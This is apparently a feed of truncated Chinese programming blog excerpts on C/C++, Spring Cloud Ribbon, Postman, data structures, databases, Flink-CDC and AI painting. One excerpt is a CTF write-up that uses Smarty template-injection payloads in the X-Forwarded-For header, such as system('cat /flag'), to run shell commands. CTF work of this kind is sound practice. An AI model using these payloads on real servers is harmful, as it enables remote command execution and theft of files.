C/C++基础知识

数据类型 目录 数据类型 基本数据类型 变量所占大小 char 构造类型 数组 1.一维数组 2.二维数组 结构体 联合体 指针 内存的申请与释放 C++中的new malloc malloc与new的异同 C++中的delete free new和delete是如何实现的 malloc和free的实现 被free回收的内存是立即还给操作系统了吗 calloc与realloc 指针类型 数组指针与指针数组 二级指针 函数指针 指针大小 *的三种作用 C++引用变量 声明 常量引用 指针的引用 引用与函数 引用与指针的区别 修饰符 static的用法和作用 静态变量什么时候初始化 指针与const的用法 基本数据类型 变量所占大小 X64X86char1字节1字节short2字节2字节int4字节4字节long8字节4字节long long8字节8字节float4字节4字节double8字节8字节long double 通常16字节通常8字节 char 分为三类型: 1.char:标准类型 2.unsigned char:无符号char(0~255) 3.signed char:有符号char(-128~127) 构造类型 数组 1.一维数组 字符串/字符数组 char arr1[] = "hello"; 字符串:结尾有'\0'终止符,arr1占6字节 char arr2[] = {'H', 'e', 'l', 'l', 'o'}; 字符数组:结尾无'\0',arr2占5字节 '\0'影响printf等输出,输出结果为'\0'之前 字符串的申明方式

【深入理解SpringCloud微服务】深入理解Ribbon原理并手写一个微服务负载均衡器

深入理解Ribbon原理并手写一个微服务负载均衡器 负载均衡器理解Ribbon原理手写一个微服务负载均衡器总体设计LoadBalanceClientHttpRequestFactorySimpleLoadBalanceClientSimpleLoadBalancerLoadBalanceRulespring.factories与LoadBalanceConfig 负载均衡器 在微服务架构里面,我们的服务消费者请求服务提供者,通常使用RestTemplate发起http请求。 我们可以写死服务提供者的ip地址和端口号,然后通过RestTemplate发起http请求时指定该服务提供者的ip地址和端口号。我们可以写死服务提供者的ip地址端口号,但是一个服务通常有好几个服务提供者节点组成一个集群,这时候服务消费者就要记录所有服务提供者的ip地址端口号,并且要自行决定请求哪一个节点,这是非常不便于维护的。即使只有一个服务提供者,它的ip地址和端口好也是有可能会变的。 在微服务的世界里,负载均衡器是一个重要组成部分。而负载均衡器可以使得服务消费者可以按照某种负载均衡策略请求微服务集群中的不同服务提供者节点。 由于有了负载均衡器,服务消费者请求服务提供者不再需要通过ip地址加端口号的方式,而是可以以服务名作为域名,负载均衡器会通过一定的负载均衡策略,选择服务名对应的微服务集群中的其中一个服务提供者节点,将请求地址中的服务名替换为该节点的ip地址端口号。 理解Ribbon原理 Ribbon是一个经典的微服务负载均衡器,它是微服务客户端的负载均衡器。通过引入Ribbon,我们的服务消费者可以通过Ribbon的负载均衡机制,选择服务提供者集群中的某个节点发起请求。 Ribbon通过在RestTemplate中加入拦截器的方式,扩展了RestTemplate的能力,使得它具备客户端负载均衡的能力。Ribbon会在RestTemplate的拦截器链interceptors中加入一个自己的拦截器LoadBalancerInterceptor,这个LoadBalancerInterceptor会为RestTemplate提供负载均衡的能力。 LoadBalancerInterceptor被添加到RestTemplate之后,每个通过RestTemplate发起的http请求都会经过LoadBalancerInterceptor的处理。LoadBalancerInterceptor会调用LoadBalancerClient负载均衡客户端进行处理,LoadBalancerClient会通过Ribbon的负载均衡器ILoadBalancer根据负载均衡策略从服务提供者列表中选出一个节点,然后LoadBalancerClient根据选取到的负载均衡节点的ip地址和端口号重写请求的url。 这样,RestTemplate拿到重写后的url,就可以请求对应的服务提供者节点了。 那么还剩下一个问题,LoadBalancerInterceptor是什么时候又是如何被添加到RestTemplate的拦截器链的呢? 其实Ribbon利用了Spring的SmartInitializingSingleton这个扩展点,Spring会在完成所有非懒加载单例bean的初始化后,触发SmartInitializingSingleton的调用。Ribbon扩展了Spring的这个SmartInitializingSingleton接口并往Spring容器中注册。 Spring在完成所有非懒加载单例bean的初始化后触发该SmartInitializingSingleton的调用,往RestTemplate的拦截器链中添加LoadBalancerInterceptor。 手写一个微服务负载均衡器 了解了微服务负载均衡器的作用,又理解了Ribbon的原理之后,我们就可以参照Ribbon动手写一个自己的微服务负载均衡器了。 我们大体上还是参照Ribbon增强RestTemplate的方式,但是我们不像Ribbon那样往RestTemplate的拦截器链上加入自己的拦截器,而是使用另外一个接口ClientHttpRequestFactory。 在RestTemplate发起http请求时,会调用ClientHttpRequestFactory的createRequest(URI uri, HttpMethod httpMethod)方法构建一个ClientHttpRequest对象,里面包含了请求的url地址。然后再调用这个request对象的execute()方法发起http请求,返回一个response对象。这一切的逻辑就在RestTemplate的doExecute()方法中。 RestTemplate#doExecute protected <T> T doExecute(URI url, HttpMethod method, ...) throws RestClientException { ... ClientHttpResponse response = null; try { // 调用ClientHttpRequestFactory的createRequest()方法方法构造ClientHttpRequest ClientHttpRequest request = createRequest(url, method); ... // 调用ClientHttpRequest的execute()方法发起http请求,返回response response = request.execute(); ... } catch (...) {...} ... } 总体设计 于是我们的大体设计就是实现一个自己的ClientHttpRequestFactory,在ClientHttpRequestFactory的createRequest方法里面进行负载均衡和重构url的操作。而我们的ClientHttpRequestFactory对象也是通过Spring的扩展点SmartInitializingSingleton接口放入到RestTemplate中。 我们的框架设计大概就是下面那样: 除了ClientHttpRequestFactory以外,我们还要实现LoadBalanceClient负载均衡客户端,ClientHttpRequestFactory会调用LoadBalanceClient。然后LoadBalanceClient里面是一个loadBalancerMap(负载均衡器map),key是服务名,value是对应的LoadBalancer负载均衡器。 那么整体流程如下: ClientHttpRequestFactory调用LoadBalanceClientLoadBalanceClient从url中取出serviceName,以serviceName为key从loadBalancerMap中取出对应的LoadBalancerLoadBalancer进行负载均衡选取一个节点LoadBalanceClient获取LoadBalancer返回的节点,根据节点的ip地址和port端口重写urlClientHttpRequestFactory利用重写的url构建ClientHttpRequest对象 上图除开灰色部分,其余的部分都是我们要实现的逻辑。 其中LoadBalancer里面还有一个RegistryCenterClient对象和LoadBalanceRule对象。RegistryCenterClient是注册中心客户端,用于从注册中心中根据服务名serviceName查询服务提供者列表的。而LoadBalanceRule则是负载均衡规则。

全网最详细的postman接口测试教程,一篇文章满足你

1、前言 之前还没实际做过接口测试的时候呢,对接口测试这个概念比较渺茫,只能靠百度,查看各种接口实例,然后在工作中也没用上,现在呢是各种各样的接口都丢过来,总算是有了个实际的认识。因为只是接口的功能测试,所以目前是用postman做测试,比较简便,当然这只是接口测试的入门而已,了解的只是冰山一角,后续会努力往接口压力、接口性能、接口自动化方向靠拢。 2、接口理论 我们常说的接口就是API,接口测试是测试系统组件间接口的一种测试。接口测试主要用于检测外部系统与系统之间以及内部各个子系统之间的交互点。测试的重点是要检查数据的交换,传递和控制管理过程,以及系统间的相互逻辑依赖关系等。 其实接口测试就和普通功能测试没什么区别,区别就是功能测试是在页面上输入值,提交数据看结果,而接口测试没有页面,通过接口规范文档上的调用地址,请求参数,拼接报文,然后发送请求,检查返回结果。 3、接口实例 一、POST POST请求是用来发送数据的,下面以下XX系统分配加工厂为例 1、产品经理的PRD文档要求如下(分配加工厂接口的修改内容如下): 1) 分配加工厂接口里新增加工厂ID字段,整数类型,非必填; 2.)若对单领料单已经审核通过,限制只有待审核状态才能分配加工厂,若不是则提示“对单领料单不是待审核,不能分配加工厂”; 2、开发人员的接口文档如下: 接口名称:XX系统分配加工厂接口 接口路径:POST /process/requisitionOrder/updateDistributeStatus 请求参数: Headers: Body: { "factoryId": "123",//加工厂ID "factory": "XX服饰",//加工厂名称 "produce_order_id": [//生产制单(纯数字) 多个用,分开 1134360 ] } 返回数据: { "msg": "success", "code": "0", "info": "操作成功" } 3、测试人员的测试用例如下: 4、测试人员执行测试用例如下: 1)打开Postman,填写接口信息,具体操作如图 注:接口文档中的URL是不带环境地址的,所以将URL复制到地址栏时,前面还要加上环境的地址,比如测试环境的地址+接口URL, 当然如果有多个环境的话,可以用环境配置功能,具体配置步骤在第4)步进行描述。 2)结合测试用例,组合变换参数信息后,查看返回的JSON数据与PRD是否一致 3)测试用例遍历完成后,以上即完成了POST请求的接口功能测试。 4)这里描述一下postman的环境配置 第一步,如图 第二步,如图 第三步,如图 第四步,如图 第五步,如图(这是针对有多个环境的情况,比如一般都会有测试环境、验收环境、生产环境) 二、GET GET请求是用来获取数据的,下面以XX系统获取出库账单为例,(以下只列出部分数据信息用于演示) 1、产品经理的PRD文档要求如下: 2、开发人员的接口文档如下: 接口名称:出库账单同步到XX系统接口 接口路径:GET /purchase/prepareOrder/importListFromPlm 请求参数: Query: 返回数据: { "msg": "success", "code": "0", "info": { "

树和二叉树(不用看课程)

1. 树 1.1 树的概念与结构 树是⼀种非线性的数据结构,它是由 n(n>=0) 个有限结点组成⼀个具有层次关系的集合。把它叫做树是因为它看起来像⼀棵倒挂的树,也就是说它是根朝上,而叶朝下的。 • 有⼀个特殊的结点,称为根结点,根结点没有前驱结点。 • 除根结点外,其余结点被分成 M(M>0) 个互不相交的集合 T1、T2、……、Tm ,其中每⼀个集合 Ti(1 <= i <= m) 又是⼀棵结构与树类似的子树。每棵子树的根结点有且只有⼀个前驱,可以有 0 个或多个后继。因此,树是递归定义的。 树形结构中,子树之间不能有交集,否则就不是树形结构。 非树形结构: • 子树是不相交的(如果存在相交就是图了)(除了根节点之外,有其它的集合,这些集合就是树) • 除了根结点外,每个结点有且仅有一个父结点 • ⼀棵N个结点的树有N-1条边 1.2树相关术语 父结点/双亲结点:若⼀个结点含有子结点,则这个结点称为其子结点的父结点; 如上图:A是B的父结点。 子结点/孩子结点:⼀个结点含有的子树的根结点称为该结点的子结点; 如上图:B是A的孩子结点。 结点的度:⼀个结点有几个孩子,他的度就是多少;比如A的度为6,F的度为2,K的度为0。 树的度:⼀棵树中,最大的结点的度称为树的度; 如上图:树的度为 6。 叶子结点/终端结点:度为 0 的结点称为叶结点; 如上图: B 、 C 、 H 、 I... 等结点为叶结点。 分支结点/非终端结点:度不为 0 的结点; 如上图: D 、 E 、 F 、 G... 等结点为分支结点。 兄弟结点:具有相同父结点的结点互称为兄弟结点(亲兄弟); 如上图: B 、 C 、D、E、F等 是兄弟结点。(H、I是表兄弟节点)。 结点的层次:从根开始定义起,根为第 1 层,根的子结点为第 2 层,以此类推。 树的高度或深度:树中结点的最大层次; 如上图:树的高度为 4。 结点的祖先:从根到该结点所经分支上的所有结点;如上图: A 是所有结点的祖先。比如P的祖先节点是(A、E、J)。 路径:⼀条从树中任意节点出发,沿父节点——子节点连接,达到任意节点的序列;比如A到Q的路径为: A-E-J-Q;H到Q的路径H-D-A-E-J-Q。 子孙:以某结点为根的子树中任⼀结点都称为该结点的子孙。如上图:所有结点都是A的子孙。 森林:由 m ( m>0 )棵互不相交的树的集合称为森林。一棵树也可以称为森林。 1.

Python的pip包管理工具使用和cmd介绍

目录 前言CMDPython安装Python图标再次安装安装路径安装路径选择 Python文件解释器和编辑器py文件常见报错类型 库库是什么库的优点库的分类 pippip是什么使用pip下载库什么是镜像源为什么要用镜像源如何换源下载如何更换默认下载源pip常用命令(重要)‘pip’ 不是内部或外部命令,也不是可运行的程序或批处理文件。使用pip下载库失败查错步骤 导入库失败 前言 此教程面向零基础的python学习者,用通俗易懂口头语的方式帮助其解答一些关于python的问题。如有错误 欢迎指正。 CMD 在学习python的过程中,命令行的操作必不可少,因此需要了解cmd的基本知识。大部分人说的终端、命令行、cmd、cmd命令、命令提示符,其实都说的是这个: 按下 win + r(win键就是键盘上Windows图标那个键),呼出“运行”窗口,输入 cmd 并回车,即可进入 cmd 中。 cmd的使用很重要,因为python的 pip命令 就在cmd里执行。 Python安装 安装教程链接 Python图标 许多初学者在安装python程序之后疑惑桌面没有python图标(也就是没有创建桌面快捷方式),其实这是正常的,python并不会主动在桌面生成图标。我们只需要在cmd中输入 python -V 查看版本,出现版本即代表安装成功了。 再次安装 安装路径 Python的安装路径中不能出现中文。但有些人的电脑用户名是中文的,选择默认安装后 安装路径中就会出现中文,路径中有中文不是百分百会出错的,但应尽量避免。 修改电脑用户名太过复杂且容易出问题,建议卸载python后重新安装到其他磁盘。 安装路径选择 在自定义选择安装路径时,一定要记住每个软件都要有独属于自己的文件夹。下图是python默认安装时的路径,路径为 C盘 > 用户 > 当前用户 > 应用程序数据 > 本地 > 程序 > python > python3.11版本。我们可以取 Programs(程序) 后面的路径来组成自定义的路径,比如选择安装到D盘,路径就是 D:\Python\Python311 或者 D:\Programs\Python\Python311 Python文件 解释器和编辑器 首先我们要知道python是 解释型语言 。在python中,使用编辑器敲代码,用解释器运行代码。我们安装的python程序其实就是 解释器 ,它将代码翻译成机器语言让计算机运行。所以我们安装python之后不会出现图标也是正常的。拓展:编译型语言和解释型语言的区别 而我们敲代码的工具叫 编辑器。常用的编辑器有 IDLE 、vscode 、pycharm 等。其中 IDLE 是python自带的,在屏幕下方搜索框可以搜索 idle,如下图所示。但 IDLE 非常简洁,就是因为太简洁了所以并不适合新手,因此我们用第三方的编辑器,比如vscode、pycharm等。vscode上手难度低但面对大型项目时心有余而力不足,但对于新手来说是绰绰有余了。pycharm专业性强但上手难度高。

如何在 Microsoft SQL Server 中增加字段-完整指南

在使用 Microsoft SQL Server (MSSQL) 进行数据库管理时,添加新字段(列)是一项常见的任务。无论你是需要存储额外的信息,还是调整数据模型以适应新的业务需求,本指南都将帮助你轻松完成这项操作。 目录 1. 使用 T-SQL 添加字段2. 使用 SQL Server Management Studio (SSMS) 添加字段3. 添加字段时的注意事项4. 最佳实践5. 常见问题解答6. 高级技巧6.1 使用计算列6.2 添加带有约束的列6.3 使用 SPARSE 列6.4 添加 FILESTREAM 列 7. 性能考虑7.1 大表添加列7.2 索引策略 8. 数据迁移考虑8.1 添加列与数据填充8.2 使用临时表进行大规模更改 9. 版本控制和文档9.1 使用数据库项目9.2 维护变更日志 10. 安全考虑10.1 列级加密10.2 数据屏蔽 11. 实际应用场景11.1 大规模数据迁移11.2 动态架构调整 12. 故障排除技巧12.1 处理锁定问题12.2 监控长时间运行的 ALTER TABLE 操作 13. 行业最佳实践14. 新特性和未来展望结论 1. 使用 T-SQL 添加字段 使用 Transact-SQL (T-SQL) 是添加新字段最直接的方法之一。以下是基本语法: ALTER TABLE table_name ADD column_name data_type; 例如,如果你想在名为 “Employees” 的表中添加一个名为 “Email” 的新字段,可以使用以下命令:

MySQL数据库(基础篇)

🌏个人博客主页:心.c 前言:今天讲解的是MySQL的详细知识点的,希望大家可以收货满满,话不多说,直接开始搞! 🔥🔥🔥文章专题:MySQL 😽感谢大家的点赞👍收藏⭐️评论✍您的一键三连是我更新的动力 💓 目录 启动与停止: 客户端连接: 注释: sql分类: DDL: 数据类型: DML: DQL: 条件查询 : 聚合函数: 分组查询: 排序查询: 分页查询: MySQL的编写顺序和执行顺序 DCL: 函数: 约束: 多表查询: 连接查询: 内连接: 外连接: 自连接: 联合查询: 子查询: 列子查询: 行子查询: 表子查询: 事务: 事务操作: 事务四大特性: 并发事务问题: 事务隔离级别: 启动与停止: 1.打开windows窗口 输入service.msc,进入windows系统,找到MySQL80 2.通过管理员身份运行cmd 客户端连接: 方式一:MySQL提供的客户端命令行工具 方式二:系统自带的命令行执行工具(需要配置环境变量,配置好之后可以直接在cmd中打开) 需要输入命令行 注释: 单行注释:--注释内容 或 # 注释内容(MySQL特有) 多行注释: /*注释内容 */ sql分类: DDL: 数据类型: MySQL数据类型有很多种,主要分为三种,数值类型,字符串类型,日期时间类型 DML: 对数据库中的表数据进行增删改操作 修改数据: 删除数据: DQL: 条件查询 : 聚合函数: 将一列数字作为一个整体然后进行纵向计算 分组查询: 排序查询: 分页查询: MySQL的编写顺序和执行顺序 DCL: 用来管理数据库用户,控制数据库访问权限

Android Studio 的中文汉化教程

1. 中文语言包 一般jetbrains系列软件都可以使用“中文语言包”进行汉化,语言包如下图所示: 然而,Android Studio的Marketplace并没有类似的中文语言包(如下图),经过查阅相关资料发现需要去jetbrains的插件官网里面下载相关插件才能使用。 2. 下载语言包 Android Studio没有官方的中文语言包,但可以用IntelliJ的代替,插件官网地址如下: https://plugins.jetbrains.com/plugin/13710-chinese-simplified-language-pack----/versions 由于最新的Android Studio是23年3月版,所以我这里下载的IntelliJ IDEA Ultimate的23年版中文语言包,版本号:233.199,兼容性范围:2023.3 — 2023.3.6。如果上面的插件下载地址打不开,可以直接点击下面的下载链接: https://plugins.jetbrains.com/plugin/download?rel=true&updateId=449758 3. 导入语言包 打开Android Studio,Configure → Plugins → Install plugins from disk → 选中你下载的语言包压缩包: 然后重启Android Studio,汉化完成! 学术会议征稿 想要了解国内主办的覆盖学科最全最广的学术会议,请前往AiScholar会议官网:https://www.ais.cn/如有意愿参会或投稿,可以找我获取邀请码,享受参会、投稿优惠,优先审核 创作不易,麻烦点点赞和关注咯!

给ACM小白的学习建议(干货满满)

一些建议: PS:本文只是给大一准备主打ACM小白和不主打ACM又希望拿到一定奖项(非XCPC)(比如蓝桥杯等)的同学的建议,不是给已经专业ACMer的建议,ACM大佬看到请划走(膜拜膜拜) PS:不建议小白盲目刷题,本人亲身经历,虽然刷题打比赛可以快速提高熟练度与思维能力,但是往往容易忽略了知识点的重要性,一段时间后就很容易达到瓶颈,难以提升。 一、确认要学的知识点 声明:本图片引自知乎用户“walker shi”,是ICPC东亚区总决赛裁判长的知乎账号。欢迎大家关注学习 原图链接:https://zhuanlan.zhihu.com/p/454647571?utm_psn=1800476414505525249 如有侵权,请联系我QQ(3563805651),将第一时间删除 这是知识点图。(如果你发现每次遇到一类题都不会写,也补不明白的时候,一定要先学知识点) 由于每年ACM难度都在增加,所以对于准备专攻ACM的小白们,图上的难度可能滞后了(就是图上金牌难度现在可能只有银牌难度,以此类推),但是还是不妨碍对这知识点表去系统学习算法。 二、边学边实战 千万别等到所有知识点都学完才去实战,因为你永远都可以更完美,如果你这么想的话那你永远也准备不好。我的建议是每周至少两次。但是也千万别忽略了知识点的练习。 三、学习方法 对于知识点的学习方法:我的建议是: 1.先弄懂知识点: 可以通过直接去B站或者搜索引擎和学习网站(我会放在文章末尾的附录里面,可以通过目录直接跳转)的视频,结合刷题网站的板子题(完全靠该算法解决的,也叫裸题)去学习,不懂可以看别人的代码,或者板子题的经典题解。 ps:要是实在没法弄明白,可以先抄别人的代码(平时),先跑出来(不是直接复制粘贴,是手敲,要确保可以默写),后面边用边理解,用到一定程度你就会恍然大悟。如果是板子,理解了就行,可以保留到电脑上,比赛的时候打印下来(很多比赛可以带纸质材料),典型的就是(二分法、快速幂、并查集、最大公约数等等)(平常打codeforces和牛客什么的可以直接复制粘贴、做非板子题也是) 2.去做相应知识点的非板子题 在学习完知识点之后,可以通过刷题网站去找到相应知识点的题目。当前刷题和比赛网站有codeforces(刷题、比赛)和acwing(刷题、网课)、洛谷(刷题,有基础题单和各种知识点的题目,板子题也有,而且可以查看题解(不要一上来就看题解)需要锻炼独立思考能力)、牛客网(里面有小白赛和各个学校的校赛,还有一些大型赛事的题目)、蓝桥云课(里面有小白赛,可以刷题和比赛(比赛意义不大))(蓝桥网站不是很推荐)(但是蓝桥杯我非常推荐去打,毕竟相对题目简单,而且好拿奖,而且规模相对较大) 3.刷题和比赛网站的简单讲解 PS:codeforces在篡改猴上有个脚本叫codeforces Better带翻译如图: 还可以自己从(codeforces简称CF)Vjuge上创建一个比赛和小伙伴们一起练习。 在edge浏览器里还有一个插件叫CF Analytics如图 可以分析你写的题目运用了哪些算法,以及你写的题目的难度分数,这可以有效避免你一直刷简单题自我感动(我之前就是哈哈哈)。效果如图(这是CF榜一tourist的主页) 总的来说,洛谷是题目最全面的刷题网站,适合学习,CF适合打比赛和补题,牛客网有各个学校的校赛也很有意思,有时间蓝桥云课的小白赛可以打打(如果你是刚刚上大一并且想走ACM道路的话)但是千万别在上面放太多的时间(玩玩就行),小白的话网课建议买Acwing上的网课 如图这个比较好入门: 别的不推荐(这个课他会让你拼团购买,实际上24小时自动拼成功) 这里面不仅有课程,也有对应的题单,和题目讲解视频,还有判题机。如图: 非常适合新手小白。 然后就是牛客了 这个多校训练营的题目也非常不错,但是牛客上面的网课别买!!! 在讲讲最重要的codeforces,如图: 这是比赛页面(如果你的页面是英文那就是你的codeforces Better没开翻译,调一下就好) 常规比赛分4个难度分别是div1 div2 div3 div4(div1+div2)是介于1和2之间的难度 按难度排序1最难(小白打不了,除非之前基础很好) 4最简单,很多是语法题 比赛会和王者荣耀巅峰赛一样有积分(叫rating) 新号前面6场是定级赛,其他正常。 div4 是最基础的语法题,很适合小白和新手刷分(但是手速要快一点哦) div3 比较简单,可以好好抓住机会练练。 div2对有一定基础的小白来说也不是不能打,第一题和第二题往往是思维题,熟练之后也可以很快开出来(偶尔也能开第3题),但是容易掉分哦(最好还是多打打,实在不行想上分后面还可以开小号,不想开小号也可以去补题,写之前div2的题目,毕竟比赛时间一般都在晚上10.35开始,打完都1点多了(比赛根据俄罗斯的时间)。codeforces的rating超过2000分以上的话甚至去大厂招聘的时候都可以写在简历上了(当然看你是应聘什么岗位)(一般算法岗有优势) 总结 最后做个总结,小白要兼顾学知识点和刷题和打比赛,不能一直准备着不去赛场上打磨,也不能总想着打比赛,不从根本上提高自己很容易进入瓶颈期,总之,正确学习算法,希望大家都可以在自己的道路上越走越远,祝各位奋起扬帆乘风破浪,披荆斩棘前程似锦!!! 附录 codeforces网址:Codeforces 牛客网网址:牛客竞赛OJ_ACM/NOI/CSP/CCPC/ICPC_信息学编程算法训练平台 (nowcoder.com) 洛谷网址:首页 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) Acwing:AcWing 蓝桥云课:算法赛 - 蓝桥云课 (lanqiao.cn)

【数据结构】优先级队列(堆)

目录 1.前言 2.优先级队列 2.1概念 3.优先级队列的模拟实现 3.1堆的概念 ​3.2堆的存储方式 3.3堆的创建 3.3.1堆向下调整 3.3.2建堆的时间复杂度 3.4堆的插入与删除 3.4.1堆的插入 3.4.2堆的删除 3.5用堆模拟实现优先级队列 4.常用接口介绍 4.1PriorityQueue的特性 4.2PriorityQueue常用接口介绍 4.2.1优先级队列的构造 4.2.2插入/删除/获取优先级最高的元素 4.3最小的K个数OJ题 5. 堆的应用 5.1PriorityQueue的实现 5.2堆排序 6.总结 1.前言 我们上一篇文章给大家分享树和二叉树的概念、基本操作等。当在手机上玩游戏的时候,如果有来电,那么系统应该优先处理打进来的电话;初中那会班主任排座位时可能会让成绩好的同学先挑座位,在这种情况下,就会使用优先级队列。今天就将与大家分享数据结构中关于堆的知识点。 2.优先级队列 2.1概念 前面介绍过队列, 队列是一种先进先出 的数据结构 ,但有些情况下, 操作的数据可能带有优先级,一般出队 列时,可能需要优先级高的元素先出队列,该中场景下,使用队列显然不合适,这时候 数据结构应该提供两个最基本的操作,一个是返回最高优先级对象,一个是添加新的对象 。这种数据结构就是优先级队列 (Priority Queue)。 3.优先级队列的模拟实现 JDK1.8 中的 PriorityQueue 底层使用了堆这种数据结构 ,而堆实际就是在完全二叉树的基础上进行了一些调整。 3.1堆的概念 如果有一个关键码的集合K = {k0,k1, k2,…,kn-1},把它的所有元素按完全二叉树的顺序存储方式存储 在一个一维数组中,并满足:Ki <= K2i+1 且 Ki<= K2i+2 (Ki >= K2i+1 且 Ki >= K2i+2) i = 0,1,2…,则称为小堆(或大堆)。将根节点最大的堆叫做最大堆或大根堆,根节点最小的堆叫做最小堆或小根堆。 堆的性质: 堆中某个节点的值总是不大于或不小于其父节点的值; 堆总是一棵完全二叉树。 3.

Flink-CDC解析(第47天)

前言 本文主要概述了Flink-CDC. 1. CDC 概述 1.1 什么是CDC? CDC是(Change Data Capture 变更数据获取)的简称 ,在广义的概念上,只要是能捕获数据变更的技术,都可以称之为 CDC。 核心思想是,监测并捕获数据库的变动(包括数据 或 数据表的插入INSERT、更新UPDATE、删除DELETE等),将这些变更按发生的顺序完整记录下来,写入到消息中间件中以供其他服务进行订阅及消费。 CDC 技术的应用场景非常广泛: 数据同步:用于数据备份,容灾;数据分发:一个数据源分发给多个下游系统;数据采集:面向数据仓库 / 数据湖的 ETL 数据集成,是非常重要的数据源。 1.2 CDC的实现机制 CDC 的技术方案非常多,目前业界主流的实现机制可以分为两种: 1) 基于主动查询的 CDC: 用户通常会在数据源表的某个字段中,保存上次更新的时间戳或版本号等信息,然后下游通过不断的查询和与上次的记录做对比,来确定数据是否有变动,是否需要同步。 特点:  离线调度查询作业,批处理。把一张表同步到其他系统,每次通过查询去获取表中最新的数据;  无法保障数据一致性,查的过程中有可能数据已经发生了多次变更;  持续的频繁查询对数据库的压力较大。  不保障实时性,基于离线调度存在天然的延迟。 2) 基于事件接收CDC: 可以通过触发器(Trigger)或者日志(例如 Transaction log、Binary log、Write-ahead log 等)来实现。当数据源表发生变动时,会通过附加在表上的触发器或者 binlog 等途径,将操作记录下来。下游可以通过数据库底层的协议,订阅并消费这些事件,然后对数据库变动记录做重放,从而实现同步。  实时消费日志,流处理,例如 MySQL 的 binlog 日志完整记录了数据库中的变更,可以把 binlog 文件当作流的数据源;  保障数据一致性,因为 binlog 文件包含了所有历史变更明细;  保障实时性,因为类似 binlog 的日志文件是可以流式消费的,提供的是实时数据。 基于查询的CDC 基于Binlog的CDC 经过以上对比,可以发现基于日志CDC 有以下这几种优势:

[CISCN2019 华东南赛区]Web11

进来先做信息收集,右上角显示当前ip,然后有api的调用地址和请求包的格式以及最重要的是最下面的smarty模版,一看到这个就得想到smarty模版注入 测试了一下两个api都无法访问 直接切到数据包看看能不能通过XFF来修改右上角ip 成功修改! 结合给的信息smarty模版来看这道题应该是在XFF这里进行模版注入 漏洞确认(查看smarty的版本号): {$smarty.version} 常规利用方式:(使用{php}{/php}标签来执行被包裹其中的php指令,smarty3弃用) {php}{/php} 执行php指令,php7无法使用 <script language="php">phpinfo();</script> 既是smarty3又是php7,这两种方法都不能用了 换一种利用方式 if标签执行PHP命令) {if phpinfo()}{/if} {if system('ls')}{/if} {if system('cat /flag')}{/if} 构造payload:{if system('ls /')}{/if} 根下发现flag 构造payload:{if system('cat /flag')}{/if} 拿下flag!

AI绘画:艺术与科技融合的新篇章

随着人工智能(AI)技术的飞速发展,AI绘画作为一种新兴的艺术形式,正逐步改变着传统艺术创作的格局。从早期的简单模仿到如今的个性化创作,AI绘画不仅提升了艺术创作的效率和质量,还开辟了全新的应用场景和商业模式。本文将深入探讨AI绘画的发展历程和现状、技术原理和关键技术、应用场景和优势,以及面临的挑战和未来发展趋势。 一、AI绘画的发展历程和现状 发展历程 AI绘画的起源可以追溯到上世纪,但真正的飞速发展始于近年来深度学习技术的突破和计算能力的提升。早期的AI绘画多基于规则和模式,生成的图像相对简单,缺乏艺术性和创新性。然而,随着生成对抗网络(GANs)、变分自编码器(VAEs)等先进技术的出现,AI绘画的质量得到了质的飞跃。这些技术使得AI能够学习和模仿人类的创作过程,生成具有艺术性和创意性的图像。 现状 目前,AI绘画市场正处于快速发展阶段,市场规模不断扩大,应用场景日益丰富。据中研普华产业院研究报告《2023-2028年中国AI绘画行业市场前瞻与未来投资战略分析报告》显示,中国AI绘画市场规模在2021年仅为0.1亿元,但预计从2022年开始将呈井喷式发展,至2026年将达到154.66亿元。这一增长势头表明,AI绘画正逐步被市场接受和认可,成为艺术与科技结合的重要领域之一。 在市场上,AI绘画工具如Midjourney、DALL·E 2、Stable Diffusion、DeepArt等已经成为艺术爱好者和专业设计师的得力助手。这些工具通过深度学习算法,能够理解和模仿各种艺术风格,实现从文本描述到高质量图像的精准转换。例如,DALL·E 2凭借其超高的图像细节处理能力和广泛的艺术风格适应性,赢得了业界的广泛赞誉。 二、AI绘画的技术原理和关键技术 技术原理 AI绘画的核心在于其强大的图像生成算法,这些算法主要基于深度学习技术。深度学习是一种模仿人脑神经网络结构和功能的机器学习方法,通过大量数据的训练,使计算机能够自动学习和优化模型参数,从而具备强大的图像生成能力。 在AI绘画中,卷积神经网络(CNN)、变分自编码器(VAE)、生成对抗网络(GAN)和扩散模型(Diffusion Models)等是关键技术。其中,GANs由生成器和判别器两部分组成,通过不断对抗训练,使生成器能够生成越来越逼真的图像。VAE则通过编码器和解码器的结构,将输入的图像编码成一组参数,再通过解码器将这些参数解码成新的图像。而扩散模型则通过模拟物质扩散过程,逐步生成新的图像。 关键技术 生成对抗网络(GANs):GANs是AI绘画中最具代表性的技术之一。它通过生成器和判别器的对抗训练,不断优化生成器的生成能力,使其能够生成更加逼真和多样的图像。例如,GANs可以学习梵高的《星夜》等名作的风格,并创作出具有相似风格的新作品。 变分自编码器(VAEs):VAEs通过编码器和解码器的结构,将输入的图像编码成一组参数,这些参数包含了图像的主要特征。然后,解码器将这些参数解码成新的图像。VAEs在图像生成和重构方面表现出色,可以生成多样化的图像样本。 卷积神经网络(CNN):CNN在图像识别和生成中发挥着重要作用。它能够自动学习图像的特征,并提取出有用的信息。在AI绘画中,CNN可以用于训练神经网络,使其掌握绘画的基本技巧和风格。 扩散模型:扩散模型是一种基于概率分布的图像生成方法。它通过模拟物质扩散过程,逐步生成新的图像。扩散模型在图像生成中表现出较强的灵活性和多样性,可以生成具有独特风格的图像作品。 三、AI绘画的应用场景和优势 AI绘画的革新力量不仅局限于传统艺术创作的边界,更在虚拟现实、自动化生产等多个前沿领域展现出巨大潜力,极大地丰富了艺术的表达形式,并深刻影响了相关行业的工作效率与用户体验。 一、艺术创作的新维度 在艺术创作领域,AI绘画不仅是艺术家的灵感伙伴,更是推动艺术创新的重要力量。通过深度学习,AI能够分析并学习大量艺术作品中的风格、色彩、构图等要素,进而创作出既具传统韵味又不失现代感的全新作品。例如,一些艺术家利用AI技术,结合自己的创意,生成了融合东西方文化元素的画作,这些作品在各大艺术展览中屡获好评,展现了AI与艺术融合的无限可能。 二、虚拟现实世界的视觉盛宴 虚拟现实(VR)技术的崛起为AI绘画提供了更为广阔的舞台。在VR世界中,AI绘画技术能够实时生成高度逼真的场景和角色,为用户带来沉浸式的视觉体验。例如,在VR游戏中,AI绘画可以根据玩家的行为和游戏进度,动态生成游戏场景和敌人形象,使游戏世界更加丰富多彩、变化莫测。此外,AI绘画还能为VR电影、VR旅游等领域提供高质量的视觉内容,让观众仿佛置身于另一个真实存在的世界中。 